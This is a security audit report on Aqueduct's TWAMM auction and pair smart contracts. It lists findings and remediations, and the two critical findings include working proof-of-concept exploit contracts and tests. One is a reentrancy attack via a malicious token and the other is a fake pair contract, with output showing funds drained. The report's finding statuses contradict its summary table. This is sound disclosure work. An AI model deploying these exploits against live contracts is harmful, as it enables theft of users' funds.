Smart Contract Security Audit Report

Aqueduct

1. Contents

2. General Information

This report contains information about the results of the security audit of the Aqueduct (hereafter referred to as "Customer") TWAMM smart contracts, conducted by Decurity in the period from 07/31/2023 to 08/10/2023.

2.1. Introduction

Tasks solved during the work are:

- Review the protocol design and the usage of 3rd party dependencies,
- Audit the contracts implementation,
- Develop the recommendations and suggestions to improve the security of the contracts.

2.2. Scope of Work

The audit scope included the contracts in the following repository: https://github.com/aqueduct-finance/aqueduct-twamm. Initial review was done for the commit a4d28091e27a2984bb678c58e50670b25d3347a7. The retest was done for the commit 42c141455431931db2938322fedcbf302457c996.

2.3. Threat Model

The assessment presumes actions of an intruder who might have capabilities of any role (an external user, token owner, token service owner, a contract). The centralization risks have not been considered upon the request of the Customer.

The main possible threat actors are:

- User,
- Protocol owner,
- Liquidity Token owner/contract.

The table below contains sample attacks that malicious attackers might carry out.

Table. Theoretically possible attacks

Attack	Actor
Contract code or data hijacking *Deploying a malicious contract or submitting malicious data*	Contract owner Token owner
Financial fraud *A malicious manipulation of the business logic and balances, such as a re-entrancy attack or a flash loan attack*	Anyone
Attacks on implementation *Exploiting the weaknesses in the compiler or the runtime of the smart contracts*	Anyone

2.4. Weakness Scoring

An expert evaluation scores the findings in this report, an impact of each vulnerability is calculated based on its ease of exploitation (based on the industry practice and our experience) and severity (for the considered threats).

2.5. Disclaimer

Due to the intrinsic nature of the software and vulnerabilities and the changing threat landscape, it cannot be generally guaranteed that a certain security property of a program holds.

Therefore, this report is provided “as is” and is not a guarantee that the analyzed system does not contain any other security weaknesses or vulnerabilities. Furthermore, this report is not an endorsement of the Customer’s project, nor is it an investment advice.

That being said, Decurity exercises best effort to perform their contractual obligations and follow the industry methodologies to discover as many weaknesses as possible and maximize the audit coverage using the limited resources.

3. Summary

As a result of this work, we have discovered two critical exploitable security issues.

The other suggestions included fixing the low-risk issues and some best practices (see Security Process Improvement).

3.1. Suggestions

The table below contains the discovered issues, their risk level, and their status as of May 3, 2023.

Table. Discovered weaknesses

Issue	Contract	Risk Level	Status
Reentrancy with a fake token in AqueductV1Auction	src/AqueductV1Auction.sol	Critical	Fixed
Possibility of stealing funds by using a malicious pair contract	src/AqueductV1Auction.sol	Critical	Fixed
Pair contract can be jailed	src/AqueductV1Pair.sol	Low	Won't fix
Pair heavily relies on superfluid liquidations	src/AqueductV1Pair.sol	Low	Won't fix
Wrong validation in swap	src/AqueductV1Pair.sol	Low	Fixed
Local variable shadowing	src/AqueductV1Pair.sol	Info	Fixed
Second address comparison is not necessary	src/AqueductV1Pair.sol	Info	Fixed
Storage variable can be set as immutable	src/AqueductV1Factory.sol, src/AqueductV1Pair.sol	Info	Fixed
Unused imports	src/AqueductV1Pair.sol	Info	Fixed

4. General Recommendations

This section contains general recommendations on how to improve overall security level.

The Findings section contains technical recommendations for each discovered issue.

4.1. Security Process Improvement

The following is a brief long-term action plan to mitigate further weaknesses and bring the product security to a higher level:

- Keep the whitepaper and documentation updated to make it consistent with the implementation and the intended use cases of the system,
- Perform regular audits for all the new contracts and updates,
- Ensure the secure off-chain storage and processing of the credentials (e.g. the privileged private keys),
- Launch a public bug bounty campaign for the contracts.

5. Findings

5.1. Reentrancy with a fake token in AqueductV1Auction

Risk Level: Critical

Status: Not fixed

Contracts:

- src/AqueductV1Auction.sol

Location: Function: `placeBid, executeWinningBid`.

Description:

The `AqueductV1Auction` contract is vulnerable to the reentrancy attack via placing a bid with a malicious token. The contract does not properly validate the bid token and also does not protect against reentrancy.

Below is the PoC exploit contract code and the corresponding test.

ExploitToken.sol:

```
pragma solidity ^0.8.12;

import {IAqueductV1Auction} from "./interfaces/IAqueductV1Auction.sol";

contract ExploitToken {
    uint256 counter;
    IAqueductV1Auction auction;
    address pair;

    constructor(address _auction, address _pair){
        auction = IAqueductV1Auction(_auction);
        pair = _pair;
    }

    function transfer(address dst, uint256 wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint256 wad) public
returns (bool) {
        if (msg.sender == address(auction) && pair == dst){
            uint256 count = counter++;
```

```
            // skipping first swap in placeBid()
            if (count > 0){
                // reenter
                if (count < 11){
                    auction.executeWinningBid(pair);
                }
            }
        }

        return true;
    }
}
```

Exploit.ts:

```
async function balanceOf(
        token: any,
        wallet: any
    ) {
        return await token.balanceOf({ account: wallet, providerOrSigner:
ethers.provider }) / 10 ** 18;
    }

it("auction:hack", async () => {
        const { pair, wallet, token0, token1, auction, attacker } = await
loadFixture(fixture);

        await token1
            .transfer({
                receiver: attacker.address,
                amount: expandTo18Decimals(10),
            })
            .exec(wallet);

        const token0Amount = expandTo18Decimals(1000);
        const token1Amount = expandTo18Decimals(1000);
        const AucToken0Amount = expandTo18Decimals(100);
        const AucToken1Amount = expandTo18Decimals(100);
        await addLiquidity(token0, token1, pair, wallet, token0Amount,
token1Amount);

        // Imagine the auction contract is active
        await token0
            .transfer({
                receiver: auction.address,
                amount: AucToken0Amount,
            })
            .exec(wallet);
```

```
        await token1
            .transfer({
                receiver: auction.address,
                amount: AucToken1Amount,
            })
            .exec(wallet);

        // logs before
        console.log("Pair balance of token0 before:", await balanceOf(token0,
pair.address));
        console.log("Pair balance of token1 before:", await balanceOf(token1,
pair.address));
        console.log("Auction balance of token0 before:", await
balanceOf(token0, auction.address));
        console.log("Auction balance of token1 before:", await
balanceOf(token1, auction.address));
        console.log("Attacker balance of token0 before:", await
balanceOf(token0, attacker.address));
        console.log("Attacker balance of token1 before:", await
balanceOf(token1, attacker.address));

        // exploit
        const swapExploitAmount = expandTo18Decimals(10);
        const bidExploitAmount = expandTo18Decimals(10000000);
        const exploitToken = await (await
ethers.getContractFactory("ExploitToken")).connect(attacker).deploy(auction.ad
dress, pair.address);

        await token1 // without this transfer swap in placeBid() will fail
        .transfer({
            receiver: pair.address,
            amount: swapExploitAmount,
        })
        .exec(attacker);

        await expect(auction.connect(attacker).placeBid(exploitToken.address,
pair.address, bidExploitAmount, swapExploitAmount,
ethers.constants.MaxUint256))
            .to.emit(pair, "Swap");

        await auction.executeWinningBid(pair.address);

        // logs after
        console.log();
        console.log("Pair balance of token0 after:", await balanceOf(token0,
pair.address));
        console.log("Pair balance of token1 after:", await balanceOf(token1,
pair.address));
```

```
        console.log("Auction balance of token0 after:", await
balanceOf(token0, auction.address));
        console.log("Auction balance of token1 after:", await
balanceOf(token1, auction.address));
        console.log("Attacker balance of token0 after:", await
balanceOf(token0, attacker.address));
        console.log("Attacker balance of token1 after:", await
balanceOf(token1, attacker.address));
    }).timeout(1000000);
```

The screenshot below demonstrates the result:

```
Pair balance of token0 before: 1000
Pair balance of token1 before: 1000
Auction balance of token0 before: 100
Auction balance of token1 before: 100
Attacker balance of token0 before: 0
Attacker balance of token1 before: 10

Pair balance of token0 after: 990.09900990099
Pair balance of token1 after: 1010
Auction balance of token0 after: 0.9900990099009901
Auction balance of token1 after: 100
Attacker balance of token0 after: 108.91089108910892
Attacker balance of token1 after: 0
```

Remediation:

Consider checking that the bid token is from the pair.

Add a reentrancy lock to the Auction contract.

5.2. Possibility of stealing funds by using a malicious pair contract

Risk Level: Critical

Status: Not fixed

Contracts:

- src/AqueductV1Auction.sol

Description:

The `AqueductV1Auction` does not validate the pair address in the `placeBid` function. The following attack is possible:

- Someone calls `placeBid` with tokens A and B and waits for the next block,
- An attacker creates their own fake pair with the same tokens A and B,
- An attacker calls `placeBid` with the fake pair,
- In the next block, an attacker calls `executeWinningBid` early to collect the profits.

Below is the PoC exploit contract code and the corresponding test.

PoC.sol:

```
pragma solidity ^0.8.12;

import {IERC20} from "../interfaces/IERC20.sol";
import "../interfaces/IAqueductV1Auction.sol";

contract PoC {
    IERC20 tokenA;
    IERC20 tokenB;
    IAqueductV1Auction auction;

    uint112 reserve0;
    uint112 reserve1;

    constructor (IERC20 tokenA_, IERC20 tokenB_, IAqueductV1Auction auction_,
uint112 reserve0_, uint112 reserve1_) {
        tokenA = tokenA_;
        tokenB = tokenB_;
        auction = auction_;
        reserve0 = reserve0_;
        reserve1 = reserve1_;
    }

    function attackPlaceBid(uint256 bid, uint256 swapAmount) external {
        tokenA.approve(address(auction), bid + swapAmount);
        auction.placeBid(address(tokenA), address(this), bid, swapAmount, 2 **
256 - 1);
    }

    function attackExecuteBid() external {
        auction.executeWinningBid(address(this));
    }
```

```
    function token0() external view returns (IERC20) {
        return tokenA;
    }

    function token1() external view returns (IERC20) {
        return tokenB;
    }

    function getReserves() public view returns (uint112 reserve0_, uint112
reserve1_, uint32 time) {
        time = 0;
        (reserve0_, reserve1_) = (reserve0, reserve1);
    }

    function swap(uint256 amount0Out, uint256 amount1Out, address to) external
{}

    function sync() external {}
}
```

PoC.ts:

```
it("hack with custom pair", async () => {
    const { pair, wallet, token0, token1, auction, other } = await
loadFixture(fixture);
    const hacker = other;
    const token0Amount = expandTo18Decimals(1000);
    const token1Amount = expandTo18Decimals(1000);
    await addLiquidity(token0, token1, pair, wallet, token0Amount,
token1Amount);

    const bid = expandTo18Decimals(10);
    const swapAmount = expandTo18Decimals(100);
    let reserves = await pair.getReserves();

    const poc = await (
        await ethers.getContractFactory("PoC")
    ).connect(hacker).deploy(token0.address, token1.address, auction.address,
reserves.reserve0, reserves.reserve1);
    await token0
        .transfer({
            receiver: poc.address,
            amount: bid.add(swapAmount),
        })
        .exec(wallet);
    await token0
        .approve({
            from: hacker.address,
```

```
            receiver: auction.address,
            amount: ethers.constants.MaxInt256,
        })
        .exec(wallet);

    console.log("Balance of token0 on auction:", await
token0.balanceOf({account: auction.address, providerOrSigner:
ethers.provider,}));
    console.log("Balance of token1 on auction:", await
token1.balanceOf({account: auction.address, providerOrSigner:
ethers.provider,}));
    console.log("Balance of token0 on PoC:", await token0.balanceOf({account:
poc.address, providerOrSigner: ethers.provider,}));
    console.log("Balance of token1 on PoC:", await token1.balanceOf({account:
poc.address, providerOrSigner: ethers.provider,}));
    console.log("\nUser calls placeBid");

    // user places bid
    await token0
        .approve({
            receiver: auction.address,
            amount: ethers.constants.MaxInt256,
        })
        .exec(wallet);
    await auction.placeBid(token0.address, pair.address, bid, swapAmount,
ethers.constants.MaxUint256);

    // attacker places bid with custom pair contract
    console.log("\nAttacker calls placeBid with own pair with same tokens\n");
    await poc.connect(hacker).attackPlaceBid(bid, swapAmount);

    console.log("Balance of token0 on auction:", await
token0.balanceOf({account: auction.address, providerOrSigner:
ethers.provider,}));
    console.log("Balance of token1 on auction:", await
token1.balanceOf({account: auction.address, providerOrSigner:
ethers.provider,}));
    console.log("Balance of token0 on PoC:", await token0.balanceOf({account:
poc.address, providerOrSigner: ethers.provider,}));
    console.log("Balance of token1 on PoC:", await token1.balanceOf({account:
poc.address, providerOrSigner: ethers.provider,}));
    console.log("\nAttacker calls executeWinningBid with own pair\n");
    await poc.connect(hacker).attackExecuteBid();
    console.log("Balance of token0 on auction:", await
token0.balanceOf({account: auction.address, providerOrSigner:
ethers.provider,}));
    console.log("Balance of token1 on auction:", await
token1.balanceOf({account: auction.address, providerOrSigner:
ethers.provider,}));
```

```
    console.log("Balance of token0 on PoC:", await token0.balanceOf({account:
poc.address, providerOrSigner: ethers.provider,}));
    console.log("Balance of token1 on PoC:", await token1.balanceOf({account:
poc.address, providerOrSigner: ethers.provider,}));
    console.log("\nUser calls executeWinningBid with real pair and it
reverts\n");
    await expect(auction.executeWinningBid(pair.address)).to.be.reverted;
});
```

Remediation:

Check that the pair contract was created by `AqueductV1Factory`. Use `getPair` mapping from the factory or calculate the address by using `CREATE2` address generation algorithm and compare it with the pair contract address passed to the `placeBid` function.

5.3. Pair heavily relies on superfluid liquidations

Risk Level: Low

Status: Not fixed

Contracts:

- src/AqueductV1Pair.sol

Description:

The `Superfluid` protocol allows to stream the amount bigger than a user's actual balance, however in this case the user should be liquidated. In case if the user doesn't get liquidated they will be able to gain extra profit when retrieving the funds.

Remediation:

We would recommend checking the user solvency status before allowing them to retrieve the funds in order to reduce the risk that the users don't get liquidated in time.

5.4. Wrong validation in swap

Risk Level: Low

Status: Not fixed

Contracts:

- src/AqueductV1Pair.sol

Location: Lines: 627. Function: swap.

Description:

This following check in the swap function of the AqueductV1Pair1 contract should be done before the transfers (lines 610-611):

```
src/AqueductV1Pair.sol:
  627:             if (amount0Out >= reserve0 || amount1Out >= reserve1)
revert PAIR_INSUFFICIENT_LIQUIDITY();
```

As a result, the transfers could be called even when the liquidity is insufficient.

Remediation:

Move the check earlier in the code to check the reserves before making the transfers.

5.5. Local variable shadowing

Risk Level: Info

Status: Not fixed

Contracts:

- src/AqueductV1Pair.sol

Location: Function: _calculateReservesBothFlows, _calculateReservesFlow0, _calculateReservesFlow1.

Description:

Local variables in the functions _calculateReservesBothFlows(), _calculateReservesFlow0(), _calculateReservesFlow1() shadow the existing declaration of state variables _reserve0, _reserve1.

Remediation:

Consider renaming the variables _reserve0 and _reserve1 in these functions.

5.6. Second address comparison is not necessary

Risk Level: Info

Status: Not fixed

Contracts:

- src/AqueductV1Pair.sol

Description:

The following `if` statements are unnecessary because it's already been checked earlier that `_superToken` is one of the pair's tokens (see `PAIR_TOKEN_NOT_IN_POOL`):

```
src/AqueductV1Pair.sol:
  670:         } else if (address(_superToken) == _token0) {
  795:         } else if (address(_superToken) == _token1) {
```

Remediation:

Remove the unnecessary checks.

5.7. Storage variable can be set as immutable

Risk Level: Info

Status: Not fixed

Contracts:

- src/AqueductV1Factory.sol,
- src/AqueductV1Pair.sol

Description:

The following variables could be made immutable without breaking the code:

```
src/AqueductV1Factory.sol:
  26:     IAqueductV1Auction public override auction;
  23:     ISuperfluid host;

src/AqueductV1Pair.sol:
  32:     address public override factory;
```

Remediation:

Make the variables immutable to reduce the gas consumption

5.8. Unused imports

Risk Level: Info

Status: Not fixed

Contracts:

- src/AqueductV1Pair.sol

Location: Lines: 6.

Description:

The following imports are not use anywhere:

```
src/AqueductV1Pair.sol:
    6: import {IAqueductV1Callee} from "./interfaces/IAqueductV1Callee.sol";

src/AqueductV1Factory.sol:
  11: import {IERC20} from "./interfaces/IERC20.sol";
```

Remediation:

Consider removing unused imports.

6. Appendix

6.1. About us

The Decurity team consists of experienced hackers who have been doing application security assessments and penetration testing for over a decade.

During the recent years, we've gained expertise in the blockchain field and have conducted numerous audits for both centralized and decentralized projects: exchanges, protocols, and blockchain nodes.

Our efforts have helped to protect hundreds of millions of dollars and make web3 a safer place.